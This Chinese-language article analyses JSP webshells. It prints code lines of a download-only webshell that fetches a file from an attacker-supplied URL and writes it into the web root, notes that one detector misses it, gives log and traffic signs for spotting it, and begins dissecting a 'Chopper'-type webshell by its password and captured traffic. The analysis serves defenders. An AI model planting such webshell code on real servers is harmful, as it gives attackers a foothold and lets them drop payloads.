java webshell_几种典型 JSP WebShell 的深度解析

该 WebShell 只有下载文件的功能,无法执行系统命令。传入文件名称和文件下载 URL,连接该 WebShell:

下载完成之后,在当前路径下生成 1.png 文件:

3.1 代码分析:

获取参数 u 的值,打开该 URL 获取字节流:

java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();

创建字节流数组,用于存入下载文件的字节流数据:

java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();

将字节流数据写入字节流数组中:

while ((a = in.read(b)) != -1) { baos.write(b, 0, a); }

因为 getRealPath("/"),传入路径为 "/"。获取当前 WebShell 所在文件夹的绝对路径。若文件夹外并不存在参数f所传入的文件名,则创建该文件,并写入字节流数组数据:

new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); 3.2 特征分析:

通过 WebShell 检测工具 D 盾对该 WebShell 进行检测,发现检测正常:

此类 WebShell 的主要功能为下载文件,并且在浏览器页面没有回显。主要存在于 Windows 系统的服务器中。通过 Web 日志及 DPI 等防护设备,可发现攻击者GET/POST访问的 jsp 路径后面包含其他 URL,且通过该 URL 可下载文件。

4.菜刀型WebShell

该 WebShell 网上随处可见,可以很容易找到。代码较多,刚开始看的时候,能看明白各个函数的作用。却没法梳理出一个大体的利用流程。因此使用了一个很重要的分析工具 WireShark。

4.1 代码分析:

4.1.1文件操作

导入程序中需要用到的包,包含所需的功能:

登陆连接定义密码:

String Pwd = "PW";

使用菜刀工具,登录 WebShell 并使用 WireShark 抓取。WireShark 过滤条件为 ip.addr == 192.168.xxx.xxx(所配置的虚拟机IP地址) and http。

从抓取的流量中可以得到两个参数PW=A,z0=GB2312。z0 的值代表字体格式,那么 PW 的值可能为判断条件。 查看源代码,找到与 PW 参数的值相关的运行代码:

你可能感兴趣的:(java,webshell)